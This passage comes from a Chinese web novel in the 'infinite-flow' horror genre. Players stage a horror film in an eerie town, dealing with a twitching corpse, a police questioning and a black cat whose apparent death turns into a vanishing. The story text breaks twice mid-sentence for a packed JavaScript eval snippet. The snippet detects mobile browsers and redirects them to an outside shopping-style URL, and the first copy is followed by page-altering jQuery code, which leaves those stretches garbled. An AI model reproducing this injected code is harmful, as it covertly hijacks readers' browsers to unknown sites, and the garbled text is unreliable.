在钟玉珍有模有样地发出开拍信号后,乔云深缓缓靠近躺尸的尸体,选了一个比较安全的距离。若无其事地踩着尸体的一只手,蹲下身在它身上轻碰了几下,便快速缩回手。 他在脑子里思索着被拉进副本前遇到的一个痕迹学难题,面上就不自觉地露出了一副凝重的表情。 肖羽走上前接戏:“怎么了?” 乔云深回忆着台词,故意停顿了几秒,正好演出了此时白林因为在旅游中遇到尸体后,寻找合适的措辞来向同伴们表达的一幕。他站起身,压低了声调:“他死了。” 话音刚落,尸体没有被踩住的那只手的手指动了动,仿佛在无声地表达自己还“活着”。 虽然场面有些惊悚,但瞧见这个小动作的纪然被莫名逗笑了,她强行压下自己嘴角的弧度,做出震惊的样子。 一时间,大家脸上纷纷挂上同款表情,倒真有些剧本里的角色活过来的感觉。 随后是谢沫沫的戏份。她所饰演的叶莜竹是个脾气不太好的女生,与白林认识时间不长,不相信他的判断,所以蹬蹬走上前—— 谢沫沫虽然是新人,但她脑袋也算灵活。周围都是同伴,她胆子也大了点,绕到另一边踩住尸体空出来的手,推了两下:“喂,醒醒,你还好吗?要送你去医院吗?” 尸体“唰”地一下睁开眼,点了点头。 谢沫沫:“……” 她的表情裂开了。 啊啊啊救命啊—— 谢沫沫噌噌后退,缩到了边上纪然的身后,嘴上一边尖叫,一边还不忘喊台词:“他,他,他……” 可能也不是喊台词,而是有感而发。 纪然被她突然窜过来又近距离的尖叫给吓了一跳,捂着耳朵瑟瑟发抖:“你别叫了,我害怕。” 楚昭:“……”他记得剧本里,她没这句台词吧。 身为合格男友的“许灼”,拽着捂耳的纪然到另一边。叶柯连忙过来拉走谢沫沫,毕竟后面的戏份是她们两待在一块的。 尸体就动了那一下,便又躺尸了。 剧情走到这,正好也演出了云初夏恐惧受惊的一面,纪然索性直接进入下一个环节。抓着楚昭的手臂,然后扑到他怀里,又给自己加了句台词:“这个人是镇上的吗?他怎么死在这了,好可怕。” 察觉到这人身子瞬间僵硬,纪然才后知后觉反应过来有点不对劲——之前编衣服绳时,他们男生都把上衣脱了……怪不得手感不对。 噢,好尴尬,这什么鬼剧情! 她刚想推开人,又想到这个时候推开好像会更尴尬,干脆就当什么都没意识到,头也不抬地装死。 见到两个人又凑一起,宋承知道已经轮到自己的剧情了。偏过头后视线在纪然和楚昭身上停留了一会儿,他有一种白菜会自己去拱猪的既视感,眼神顿时就复杂起来。 楚昭捕捉到宋承的视线,两个人的目光再次从半空中碰撞。一个忍住尴尬表现出漫不经心,一个像老父亲一样感慨万千。 后面的情节如剧本里写的,大家都演得丝毫不差,没再有其他异况发生。除了“田文俊”,只念他该说的台词外,其他时候都一言不发,表情木讷。众人已经习惯了他这样了。 肖羽尝试拨打报警电话,却始终打不通,最后一行人分头行动。肖羽、左毅和乔云深三人去警局,后面还跟着个扛摄影机的夏黎;剩下的一部分人则留守原地。 当然,离开这里的四人除了走剧情外,还担负着给剩下几人送衣服的使命。所以他们在去警局前,得先回宾馆搞点衣服穿。 那场景,光是想象,纪然便有些忍俊不禁。无声地肩膀抖了几下,就被人按着肩膀拉开了距离。 被推开的纪然抬起头,眼里冒出问号。 “痒。”楚昭抿了抿唇,不知道怎么开口,最后还是简而言之。 没了布料的阻挡,无论是她的头发还是她的呼吸,都贴在他的皮肤上,再这么一笑,乱了节奏的呼吸轻触胸口,如蚁咬般的触感自心脏处传至四肢百骸,密密麻麻,酥痒又磨人。 纪然没想太多,听他说痒,以为是自己头发蹭到他了,便非常自觉地,弥补自己的过错,伸手帮他挠了几下刚才自己碰到的地方。 楚昭:“……” 他一把抓住她的手腕,让某只疑似在他身上揩油的、不安分的手远离自己的胸口处。 啧,不领情就算了,纪然放弃了帮他挠痒的想法,蔫不拉几地退后,重新保持着安全社交距离。 不过这么一退后,她眼角余光瞥到了什么不同寻常的一幕。轻轻“咦”了一声,目光落在他脸旁碎发下的耳根处,眼睛一眯,便笑了。 在炎炎夏日的炙烤下,接近四十摄氏度的气温里,池塘边的空气仿佛被加热至沸腾,每一寸肌肤都能感受到一股灼烧般的热意,连呼吸都变得沉重而炙热。 无人在意的角落里,尸体躺了很久,见还没人理会它,就自己坐了起来。 好不容易恢复平静的谢沫沫,无意中看见它坐起来,顿时吓得浑身抖了个激灵,指着尸体的方向哆哆嗦嗦:“他、他、他又动了!” 众人的目光纷纷望过去。 还真是,那具明明检查过没有生命气息的尸体,在被扭断脖子和手臂骨头后,居然自己又爬坐了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179165|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪然觉得今天一天,自己见鬼的次数简直不要太多。公厕里的四只,宾馆里的两只,饭店里的服务员三只,现在又亲眼见证尸体“复活”了好几次。 所以眼前这具尸体,并不会像剧本里提到的那样,需要某种能量才能“复活”行动,而是直接就是活死人——所谓的丧尸、僵尸? 难不成,她是什么招邪祟体质? 趁着其他人围到尸体边上时,纪然小声地问楚昭:“我亲爱的男朋友啊,你会画符吗?”反正剧本里只提到两人都是学生,没说不能有玄学方面的副业啊。她逮着这个漏洞,直接就问了。 小说里都是这么写的,无限流里的大佬玩家,哪个不会画符? 楚昭调整好情绪,恢复了正常,睨了她一眼:“只会一种。” 哇,居然还真被小说给写中了。 “哪种?”纪然期待地苍蝇搓手。 “招邪符。”楚昭看透了她的想法,微笑道。 纪然:? “不是,你不学驱邪符,跑去学招邪符干嘛?”纪然难以置信,满眼不可思议地问他。 老玩家都是这样脑回路新颖的吗? “符驱不掉可以招出来物理超度。”楚昭语气平淡,眉眼间却流露出一股不容小觑的自信,冷冽的光芒在他眸中一闪而过。 好像还挺有道理的。 纪然被说服了,摸了摸下巴,思索了几秒后又问:“我能学吗?” 楚昭用她的话术来回答她:“我宝贝的女朋友啊,学费你打算怎么交?”说着,他瞥了一眼被众人围住的尸体,并没有过去的想法。 顺着他的视线看过去,纪然也没准备再去凑热闹。反正这么多人在,尸体也跑不了,他们现在只用等队友带着警察过来就好。 所以纪然继续跟他掰扯:“人家整个人都是你的了,还要什么学费呀?” 不知道是被她的厚脸皮惊到了,还是被这句话给恶心到了,总而言之,楚昭被硬控了整整十秒,沉默着说不出话来。 纪然矫揉做作地夹着嗓子撒娇:“许哥哥~你就教教人家嘛~” 噫,她搓了搓自己手臂上浮起的鸡皮疙瘩,打了个寒颤。清汤大老奶啊,怎么会有人把自己给恶心到了。 楚昭没说话,纪然乘胜追击:“教会我,以后我们可以合作。我来招邪,你来超度,事半功倍,实现双赢,走上人生巅峰,岂不美哉?” “……双赢在哪?”楚昭把这句话暗自琢磨了两遍,也没明白在这句话里,他能有什么好处。 “不要太在意这些小细节,”纪然不以为意地摆了摆手,放出大招,“教我,我就告诉你在这个镇子里的一个惊天大秘密,全世界只有我一个人知道。” “是吗?”楚昭半掀起眼皮看了她一眼,来了点兴趣,“什么秘密?” 纪然伸出手:“教我。” “……”楚昭跟她握了个手,“交易达成,我从不食言,你可以说了。” 纪然摸了摸肚子:“晚饭我想吃油焖大虾,来的路上我看到有一家店卖海鲜。” 楚昭:? 楚昭:“……” 男默女泪,馋出来的泪。 因害怕尸体而稍微后退,只听到这两人谈话的最后一句话的谢沫沫也咽了咽口水。 81. 第一天:第五幕5 在等待警察到来的这段时间里,又是处于剧本的空白期,玩家们除了原地等待,好像也没别的什么事能做。 但纪然不是很想把难得的能自由活动的时间浪费在等待上。她溜达到宋承身边,问他除了尸体外,在水底还看到了什么。 哪有尸体无缘无故出现在水里的,除了抛尸和投水自杀,她想不到其他可能。可看这尸体之前的表现,不像是会自杀的样子——在“叶莜竹”问出要不要送它去医院的台词时,尸体点了点头。 “这应该是天然形成的池塘,水底大多是些水草,不过……”想起之前潜进池底看到的怪异之处,宋承微微皱起眉,“在临近水底中央地带,确实有些不寻常的东西。那一块的泥土上斜插着些杂乱无章的木头,每根木头都钉着几根半截钉子。” 这话一出,同样等在原地的玩家们顿时好奇起来。 “木头丢进水里不应该会浮在水上吗,怎么还能直接插进池底泥土里的?”陈长风调整了摄影机镜头,对着池塘水面拍摄了一段。 “难道说那些木头是在池塘形成前就在了?”纪然挠了挠头,用目光扫视了一圈池塘边缘的泥巴,装作打了个冷颤的样子,缩了缩脖子。 现在处于拍摄状态,他们还需要维持着剧本人设。 李新咏加入讨论,切成了另一个温和的人设,他思索后问道:“会不会是某种封印?” “你是指……原本尸体是被那些木头做成的类似于棺材的东西,封印在池塘深处,结果不知道怎么回事,封印失效了,导致尸体破开木头出来了?”宋承沉思片刻,以一些普遍恐怖片里的情节做出猜测。 叶柯搂着谢沫沫的手臂,看向安详躺平的尸体,很给镜头面子地咽了咽口水,用一种不确定的飘忽语气问:“要不,我们直接问问它?” “它会告诉我们吗?”谢沫沫刚才被吓到了,此刻还有些心神不宁。 钟玉珍的台词很少,在这种大家纷纷刷人设的时候,她很快反应过来,跟上节奏。嗤笑了一声,撇了撇嘴说:“你们想什么呢,尸体还能说话不成?” 其实她对自己这个唯物主义的人设也很无奈,这鬼和尸体都快贴自己脸上了,还得装出不信的模样。 楚昭很直接,往尸体边上走,中途走到一半想起“自己”是个黏女朋友的恋爱脑,把站在宋承身边的纪然给顺带拉走了。 他不与其他人交谈,到尸体身边时,轻声问纪然:“不是想学扭断脖子吗,我现在教你?” 尸体耳朵动了动,一张苍白发青带着尸斑的脸上,浮现出惊恐的表情。一秒内,它连滚带爬地站起来,往玩家群里冲。 “啊啊啊——不要过来啊——”谢沫沫看见尸体冲着她这个方向跑来,吓得六神无主,尖叫着拽着一脸懵的叶柯百米冲刺地跑。 然后她以一人之力,撞倒了钟玉珍,挡住了宋承和李新咏准备拦住尸体的动作,另外还绊翻了陈长风面前的摄影机。 现场乱成了一团。 纪然看着几米外闹哄哄的一幕,歪了歪脑袋,忍不住把目光投向旁边的始作俑者,问:“你故意的?” 楚昭:“……” 他也没想到事情会发展成这样,眼神里有些一言难尽。谁能想到他真的只是想威吓一下尸体,让它自己”开口“,若是不管用,还能利用这个机会刚好教她怎么动手,省得她暗搓搓盯着他的脖子。 “……”楚昭嘴唇动了几下,放弃了辩解。不管怎么说,确实起因是他想威吓尸体。 “你这样很不乖哦。”纪然指指点点。 很快,被拽着跑了上百米的叶柯回过神,拉住了带着她乱跑的谢沫沫,宋承和李新咏及时地赶过来,制住了四处乱吓人的尸体。 倒地的摄影机被人扶起,陈长风来来回回检查了好几遍,没有发现问题才松了口气。 见着那边的大乱斗在第一小队的压制下飞快结束,纪然和楚昭走过去,一群人围着尸体,想方设法让它“开口”。 然而,直到乔云深一个人先带着他们的衣服回来时,众人也没能得知池塘底下究竟是怎么回事。关键时刻,这具尸体,一个劲地装死。 等大家换好衣服后,警笛声响起,三辆警车驶进镇子边缘处,停在池塘边。肖羽他们三人和一群警察下了车,走了过来。 在警察面前,尸体躺得很老实,一动不动的,要不是之前它那副活泼的样子,大家还真信了这仅是一具普普通通的“尸体”。 肖羽不着痕迹地打量了几眼众人和尸体,见宋承微不可见地点了点头,他才移开视线,继续跟警方交谈。 “这便是我们在池塘里意外发现的尸体。若非有同伴不慎失足落水,我们在紧急之下潜入水中救援,很难以发现池底还有一个人。等我们把人救上来尝试施救后,才发现他已经死了。”肖羽指了指尸体,又指着池塘说道。 出警的共有五名刑警和一名法医。在警局接到报案时,他们便从这位几位报案人嘴里得知了大致情况。听到“孟贺”的陈述,刑侦组长何济轻轻点头,审视的目光从每个玩家身上扫过。 警方的人员不是演员,在这一幕的剧情里,好像是来真的。 在看到那六名警方人员时,这个念头出现在所有人的脑海里,甚至连饰演导演的钟玉珍对剧组安排也一无所知。 真导演程松云跟那群剧组工作人员持续性失踪,他们拿不准这段该怎么演,感觉与之前在饭店里的场景极其相似。为防止又发生什么变故,玩家们还是按照剧本既有的流程来。既然警察这么说,他们就这么演吧。 到达尸体发现现场的何济,带领其中两名刑警队员对在场人员进行了逐一询问,以收集关键信息。另外两名刑警负责勘查现场,寻找可能的线索。法医则是蹲在尸体前进行初步检查,以确定死因及可能的死亡时间。 这还是第一小队入行以来,第一次以这种视角经历案子,面对同行的问话时,感觉颇有些奇特。 虽然他们第一小队本身就有法医,但以剧本里普通医学生白林所学到的知识来说,他不该知道那么多。再加上在这种“镜头”之下,他们一群“学生”没胆子一直盯着尸体,也不方便交流,所以乔云深只能通过目测观察尸体,隐晦地告诉宋承一些初步判断。 比如其实这具尸体从表面来看,死亡时间以超过十二小时,但从身体水肿上看,入水时间不超过六小时。除了被他们打捞上来时扭断的骨头外,能一眼看到的表面无任何伤痕。不过,具体是怎么死的,真正的案发第一现场是不是这里,需要经过专业检测才能得知。 “根据尸体的僵硬程度和体温下降情况,结合现场环境因素,我推测死亡时间大约在十二小时前。尸体的水肿情况表明其在水中浸泡的时间不超过六小时,这可能意味着死亡后尸体才被投入水中。而尸体表面没有明显的外伤痕迹,死者的死亡或许并非由外力直接造成。”那名法医大致检测完尸体后,走到何济边上低声说道。 虽然声音不大,但这个地方只有他们这一群人,站得远的也能隐约听见法医说的结论。 “不过有一点很奇怪,”法医眉头紧皱,眼神里带上了怀疑,“通过进一步的检查,我发现尸体脖子处的骨头有明显的断裂迹象。另外,双手臂也发现了骨折现象,这种损伤通常是由于强烈的扭动或压迫造成的,而且,像是刚断裂不久。” 听到这话,玩家们瞅了眼肖羽,又瞥了眼楚昭,突然感到心虚。 从警二十年的何济注意到这群人的异常,冷冽的视线瞬间锁定了几个眼神闪烁的人。 “你们知道这是怎么回事?”他问其中一位拧着手指的小姑娘,恰恰就是刚遭受几次惊吓的谢沫沫。 “我……我没听清你们在说什么。”谢沫沫下意识地朝楚昭那边看了一眼,她记得当时尸体刚捞上来时,这个人扭了一下尸体脖子,“咔”的一声后,还说自己手滑。要是被自己暴露了,他岂不是也会这样扭断她的脖子? 谢沫沫往旁边叶柯身后缩了缩,低着头,然后说什么也不抬起头来了。 紧盯着她反应的何济,没有错过这零点几秒的眼球转动。小姑娘那一眼速度飞快,若不是何济注意力集中在她身上,还真容易看漏。 何济顺着她刚才瞥向的方向看去,几米外的位置站着一对情侣,两人正姿态亲密地低声交谈着什么。他收回打量的目光时,却正好与对面的叶柯对上视线。 叶柯的表情毫无破绽:她面露疑惑,神色又隐约带着恐惧,看起来在此件事里无辜极了。 就在何济暗自思忖时,宋承走过来打破了这边的短暂沉默。 “当时情况紧急,我们以为他溺 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经过一行十二个人的简单口述,何济带着些许皱纹的脸上叫人瞧不出他是什么态度,究竟是信了还是没信。在没有确切证据前,即便这群人身上疑点重重,他却不能有任何进一步动作,一切都要等尸检结果和痕迹检验结果出来。 之后警方登记了他们的信息,带走了尸体,玩家们才松了口气。这一场景的剧情,总算是结束了。 纪然看了眼天色,太阳逐渐西沉,鱼鳞般的云层在天空整齐排列。金红色的阳光笼罩着这一方天地,落在人身上时,仿佛给整个人物景都拉高了暖色值和饱和度。 在这美如画的景色里,她凑近楚昭,轻轻吐出两个字:“骗子。” 楚昭:? 他有些错愕,随即很快反应过来,她指的应该是他刚才面对警方的询问时,面色自若说出的谎言。 “最大的骗子难道不是宝贝你么?”楚昭被莫名倒打一耙,反问道。难道他要直接抛开剧情设定,告诉警察这个尸体是活的? 纪然闭眼深呼吸一口气,睁开眼后摇了摇头,没有再说什么。 虽然,她指的并不是这件事。 纪然根本就不相信身为一个有名的老玩家,能在这种低级副本里既不出头也不主动找线索,反而还会过得跟他们一群新人似的,又演又躲。甚至对新玩家极具耐心,配合着他们的一切剧情。 她始终觉得,除了高级玩家进低级副本会受限制外,楚昭还有一些事在瞒着她。而这个被隐藏在他如同新人般不出色表现里的秘密,给她一种不好的预感。 当初在上个副本里,她被笔记本多次读档回溯到死亡前时,“新生”次数越多,她越有这种类似的预感。但现在笔记本已经切成了第二形态的通灵之书,她不该还有这种感觉的。 而且,两种感觉有些不一样之处:前者是隐隐有着些许既视感的心悸,后者却是有种未知的未来,在悄无声息地发生某种不好变化的心慌感。 她不清楚这种感觉是否是笔记本带给她的,亦或是副本是不是出现了什么变故。但截止目前来说,第一天还算安全,他们玩家也有喘息的余地。况且,现在他们所处的这里,可不是什么适合谈论重要事情的地方。 这一幕结束了,下一幕该无缝开始了。 不出意外的话,那个真导演要出来催他们去下一个场地了。 果不其然,这个念头刚在脑海里闪过,程松云导演带着十几个工作人员从犄角旮旯处走过来。他脸上带着赞许,放松的神情令他眼角的细纹舒展开。 程松云拍了拍站得离他最近的宋承,朗声道:“好!你们的进度让我非常满意,看来大家今天能够直接拍完第一天的剧本戏份。辛苦了,大家再坚持坚持,一举成名的机会就在眼前。” 抬手看了眼腕间的手表,他废话不多说:“好了,接下来大家慢慢走去中午来时的广场,卡着落日昏暗时的光线经过水池边的雕像。以你们手中的剧本为准,即将开始拍摄第六幕。” 原来,那下了大巴车后给他们的半小时休息,还真仅是唯一的休息时间啊。 日落西山,夕阳绚烂,空气里的温度却没降多少,依旧闷热难耐。纪然跟着众人,缓缓往广场方向走去。 一路上,再怎么神经大条的人,也发觉了不对劲之处——此时仅仅傍晚七点钟不到,路边竟然没有几个行人。 82. 第一天:第六幕1 察觉到这诡异之处,纪然的目光不由自主地转向了路旁的商铺。 虽然整个镇上人口不多,但这些店铺,在白日里也是熙熙攘攘,门庭若市的景象。而现在,所有的店门都已打了烊,在夜幕降临前的晚霞里,显得格外寂静。 剧中剧里,在同伴带着警察来到池塘边后,云初夏等人遭到警察简单的询问,他们坦诚告知,便被允许离开。临走前,还被领头的警察叮嘱天黑后不要在外面到处闲逛,早点回到宾馆休息。 尽管心存疑虑,他们却还是选择听从了警察的劝告,只以为警方要在夜间展开调查,避免任何可能干扰现场勘查的因素。 加上刚经历的惊骇一幕,足以让这群二十岁多岁的年轻人们心神不安,失去游玩兴致。他们匆匆往宾馆方向赶路,却在半路上捡到一只受伤的黑猫。 唐晨歌很喜欢小动物,见小猫可怜兮兮的,便想送它去宠物医院里看看。田文俊却觉得,半夜遇到黑猫是不好的象征,劝众人早点离开。 叶莜竹嘲笑他是个封建迷信的胆小鬼,拉着唐晨歌直言,由她们两人送小猫去医院便够了,其他人若是害怕的话就早点回宾馆。 与她们两同为室友的云初夏当然不会丢下好姐妹,男朋友许灼更是不愿意离开女朋友半步。 就这样,暗恋着云初夏的段华也跟了上来,而喜欢唐晨歌的孟贺更是不落半步。白林见此默了默,还是跟上了孟贺。一看众人都走了,田文俊经过短暂犹豫,认为自己单独行动更危险,便跟在叶莜竹身后。 结果还是八个人整整齐齐地往宠物医院走。 经过检查和诊断,兽医确认黑猫所受的伤害是人为踹踢造成的。而这只黑猫,仅是只流浪猫。 唐晨歌抱着黑猫走出宠物医院后,就在她步出大门的瞬间,黑猫突然挣扎着跳出她的怀抱,稳稳地落在地面上。它冲着众人“喵喵”了几声,便钻入了昏暗光线下的草丛里。 他们尝试在附近寻找黑猫,但最终无功而返。这路上一耽搁,等他们走到回宾馆的必经之路——广场时,天已经完全黑了。 广场上很安静,只有喷泉那边亮起的微弱灯光。这稀疏的光亮与远处居民区的点点灯光交织,衬托得广场更加空旷。 如果他们没看见雕像上手里捧着的是什么东西的话,或许也会觉得这里有种远离喧嚣的宁静致远感。 不知道是谁的尖叫声,如同锋利的刀刃,猛然撕开了夜的沉默。 借着暗淡的灯光,他们惊恐地发现,原本雕像手中捧着的石书不见了,取而代之的是一颗血迹斑斑的人类头颅。 头颅从脖颈处被残忍地截断,其面庞正对着他们的方向,在喷泉灯光的反射下,那双眼睛还是睁着的。 这样的情景,令人内心透露出一种难以言喻的恐惧,简直是放在影视剧里都得打码才能播出的画面。 在心跳加速的恐惧中,这群年轻人颤抖着双手,再一次尝试拨打报警电话。但如同下午一样,电话那头始终是无人接听的忙音。 他们决定留下几位胆量较大的同伴在原地守候,而其他人则急忙奔向警局。他们想要询问警察,这究竟是怎么回事。 是尸体被人偷窃了,还是真的闹鬼了。 广场这一段的剧中剧情节到这里结束,而他们玩家手里的剧本,则是在这些内容的基础上,增加了些灵异色彩。 比如说,在遇见黑猫时,它似乎感知到了某些人类无法察觉的存在,对着空气露出尖锐的牙齿,毛发竖立,表现出强烈的戒备。 在宠物医院里,它的行为更加焦躁不安,反复地对着门口做出攻击性的姿态,仿佛在警告着什么看不见的威胁。 在唐晨歌抱着黑猫出门后,它表现出极度的抗拒,这种未知的恐惧从猫身上传到了一群人身上。紧接着,黑猫发出了几声急促的叫声,随后迅速逃离,消失在连最后的晚霞也照不到的地方。 等他们到了广场,原本雕像手里的人头,是理发店里用来展示发型的人头模特,也就是俗称“假发头”的道具。在变成灵异版的剧情中,假发头变成了下午他们看见的那具尸体的人头,眼珠子还会盯着他们转。 那么,现在的真实版剧情,又会变成什么样的呢? 从他们由小镇外围区域走进街道开始,一路上行人几近于无,家家门窗紧闭,店铺打烊。除了路灯外,连居民区的亮灯都很少。 “这个镇上的人,都睡这么早?”肖羽看了眼手机,此时才处于夏季的傍晚七点左右,太阳已经接近地平线,但尚未完全落下。天色昏黄中透着些许光亮,既有日落的余晖,又有夜幕降临前的宁静。 这个时间点,大多数人才刚刚吃上晚饭,而镇子里的氛围却给人一种仿佛已经步入深夜的错觉。 “可能这就是究极养生吧。不过有一点很奇怪,为什么警察没有按剧本说出那句话。”纪然有些疑惑,按照副本的捣乱程度,应该更是要说出那句天黑后不要在外逗留的话啊。 这样等他们之后再被黑猫拖延时间,天黑到达广场,相当于违背了某种“和平”规则,达成“明知故犯”,副本不是能更好地演他们吗? “或许,说与不说,结果并无不同。”宋承在脑子里分析了多种可能,最后发现只有这种说法,能够满足所有已知条件。 这座小镇非常奇怪,他们明知道这是影视城里的一部分,却总是忍不住把它当成独立的场景地图来看。 无论是街道的商铺还是路上的行人,亦或是充满生活气息的建筑,路过时隐隐闻到的饭菜香,牵着大人手却还是忍不住朝他们望过来小孩子,地面上互相追逐打闹的猫猫狗狗,都不像是区区一个影视城就能模仿到的烟火气息。 他们确实是外来者,不是指进入这个副本世界,而是闯入了这座小镇。 仿佛从大巴车驶离影视城后,便开进了另一个世界。 那么在这奇怪的地方,唯一正常的可能就他们这一群人了。警察同样是小镇的一份子,导演剧组也神神秘秘的,说是拍戏,实际上就只有他们一行十二个人在拍摄,所谓的其他群演和配角,感觉都是本职出演。 只是一部以十二人为主角的恐怖电影而已,剧情也仅是围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑猫“喵喵”叫了两声,主动把自己的脑袋伸到她手掌下,歪着头蹭了蹭,双眼眯了起来。 柔软的触感从手心传来,叶柯轻轻摸着黑猫的头,顺势拂掉猫毛上面沾着的灰尘,感觉内心都柔软了起来,既是念台词又是真情实感地说:“它好像伤得很重,不知道附近有没有宠物医院,我们得送它去治疗。” 很少有人能抗拒可爱的毛茸茸,所以纪然也凑了过去,避开黑猫的伤口,小心翼翼地摸了两下,说:“它好乖呀。” 她说完台词后,察觉到黑猫的身上还有其他伤口,回忆了一下路线,更改了下一句台词:“咦,它的四肢好像也受伤了。我记得大巴车进镇子的时候,我看到有一家宠物医院,不知道现在还开不开门。我们先带它去看看吧。” 一直沉默着没存在感的左毅突然开口插台词:“这是只纯黑色的猫,是不幸和厄运的象征,它会给我们带来灾难!我们不该再去接近它,快远离它,以避祸端!” 黑猫抬起左爪舔了舔,听到不那么动听的声音后,它动了动耳朵,在最后的夕阳下,蓝绿色的眼眸猛地看向了左毅。 83. 第一天:第六幕2 疑似被水鬼附身的人,总是这么配合剧情,操控着他往前推剧情。 黑猫像在指控他似的,非常不满地发出一连串喵喵声。它轻轻地用头蹭着叶柯的掌心,寻求安慰与理解,尾巴则不安分地甩来甩去,在不经意间勾到了纪然手臂,那模样既可爱又无辜,让人心生怜爱,难以抗拒。 见到它这副模样,谢沫沫丝毫没发现黑猫有哪里恐怖的,心都快萌化了,借着台词怼左毅:“你这是什么封建迷信思想,胆子小还赖猫!你怎么不说在有些地方黑猫才是带来好运的象征,还能保护人类免受邪恶力量的侵害呢。你要是害怕就直说,由我们女孩子送它去医院便够了,您早点回去休息吧。” 她催促两名“室友”行动起来:“走走走,我们不要理他,赶紧去找医院吧,这小猫的伤口看起来就疼。” 叶柯点点头,小心翼翼地抱起黑猫。 在纪然站起身后,楚昭动作带着几分急切地抓住她的手腕,说:“我陪你们去。” 纪然扯了一下手,没挣脱开,便继续念台词,轻哼了一声反问道:“那不然你还想跟谁?” 这只黑猫表现出来的乖巧模样,完全脱离了剧本,给人的感觉更像是剧中剧里提到的那只猫,而不是现在要演的剧本。 他们带着一路上只会卖萌撒娇的黑猫,根据纪然的指路,找到一家还在营业的宠物医院。 经过一系列检查,兽医的诊断结果与他们知道的剧本一模一样。整个治疗包扎过程中,黑猫非常安静,只睁着双圆圆的猫眼左看看右看看,对什么都充满好奇。 纪然总感觉后面的副本剧情在憋波大的,毕竟有一句俗话说得好:孩子静悄悄,必定在作妖。 等叶柯抱着黑猫与他们走出宠物医院,在刚踏出大门的瞬间,黑猫舔了舔她的手背,随后挣扎着跳出她的怀抱,动作轻盈地落在地面上。 纪然顺着惯性往前走了几步,听到叶柯停下脚步声,她扭头看见黑猫跳到地上,视线下移,便对上小家伙抬头看过来的圆眼。 它往纪然脚边靠近,四只被包扎起来的小爪子在地面上噗叽噗叽地踩着。 纪然失笑,转身蹲下,伸出手准备接它过来。 下一秒,宠物医院上方的广告牌从天而降。 “嘭!” 一声巨响后,不偏不倚砸在手指前方,荡起一片灰尘。 大理石材质的广告牌诡异地断裂成几块,眨眼间全都砸了下来,而最近的一块石质广告牌边缘距离纪然的手指仅五公分不到。 她的动作僵住了。 眼前的地面上,一抹鲜红刺目的血迹正悄然无声地蔓延开来,如同一幅惊悚的画卷缓缓展开。 突如其来的变故,令所有人的脑子都像被巨锤猛然一击,一下子压抑得喘不过气。 时间仿佛在这一刻凝固,医院门口,细尘在微弱的光线下缓缓飘落,而众人如同雕塑般静默无言。空气中弥漫的,只有沉重的沉默与未散的尘埃。 第一小队的几人很快从震惊中回过神,离纪然较近的宋承刚准备走过去扶起她确认安危,便被比他更近的楚昭抢先一步。 楚昭稳稳握住纪然僵在半空中带着颤抖的手,将人从地上拉起来。 他一时间有些无措,不知道自己要怎么往下演,而身为“许灼”就绝不会对自己的女朋友置之不理。所以他只好搂着人,轻轻拍着她的后背,一遍又一遍地在她耳边低语:“没事的,没事的,都过去。” 纪然茫然地睁着眼,当感觉到有衣物靠近她的视线时,才出于本能地闭上眼。 被吓到,肯定是有的,但更多的是,不理解剧情为什么是这样的发展。 按照之前的套路,剧本内容是围绕着剧中剧情节来发展的,只是会在里面做一些小变动,将悬疑的氛围转变为带有灵异色彩的故事线。而在实际的拍摄过程中,原本设计的假灵异会变成真灵异,在此基础上再延伸出新的鬼怪,相当于有三版剧情。 在先前的几幕中,拍摄都是依照第三版剧情来进行,而在黑猫这一段,剧情却回到了第一版的内容,不得不引人沉思。 这三个版本的剧情之间,究竟有什么联系,或者说,什么情况下她们会触发那种灵异剧本,什么情况下她们会进行正常副本演绎。 现在并不是想这些事情的最好时候,纪然冷静下来,进入角色。她扮演着受惊的云初夏,瑟瑟发抖,半天说不出话来,将脸埋进楚昭怀里。 叶柯那边,在广告牌砸下来时,她反应迅速地后撤了一步,避免了被碎石砸伤。而肖羽,无论是出于角色的本能还是他个人的情感,都立刻走到她的身旁,关怀备至。 剧情发展到这里,黑猫不是自己钻进草丛里离开,而是死在他们面前,剧情又乱套了,这接下来要怎么演? 纪然听着耳边来来回回就这么几句话的轻声安慰,虽没什么大用,但这种时候,只需要一点点熟悉的声音,便能给她带来一些真实感。让她清醒地知道,这仅是一场副本,这仅是一个虚拟世界。 况且,天还没完全黑下去,暂未到去广场的时间。发生这么大的动静,仅隔着扇门,宠物医院却毫无反应。种种现象全都指明了一个结果——这里还有一段过渡的小情节需要表演。 她扯了扯楚昭的衣服,在他低下头时,说:“小猫好可怜,这么被压在下面……我们把它挖出来吧?” 声音不大不小,刚好够这一群玩家们都听见。 大家一琢磨,也能得出当前最合理的行为就是把猫挖出来,毕竟,身后可就是宠物医院啊。 于是,玩家们徒手就地取材,能拿什么拿什么,撬动大块的碎石。随后,几个大男人合力搬开砸下来的广告牌,女生们则是忙着挪开较小的石块。然而让人惊讶地一幕出现了。 在广告牌原本压着的地面上,并没有发现黑猫的踪影! 原地连砸伤的血迹都没有留下,与他们脑补出来的场景完全不一样。 可是,他们刚才明明看到有血迹蔓延出来啊!但当石块被移开后,那些血迹就像是仅从广告牌边缘渗出一样,中间的地面除了覆盖着一层灰尘和零星的细碎石粒外,异常干净,没有任何血迹或其他异常迹象。 夏黎推进摄影机镜头,随着显示屏里的画面放大,顿时头皮发麻,汗毛倒立。她以自己5.0视力的两只眼睛发誓,她连根猫毛都没发现! 一时间,众人面面相觑。 难道刚才的黑猫都是他们的幻觉? 宋承捻了捻指尖染上的血迹,放在鼻下闻了闻,一股铁锈般的腥味钻入鼻腔,这确实是血液无疑。 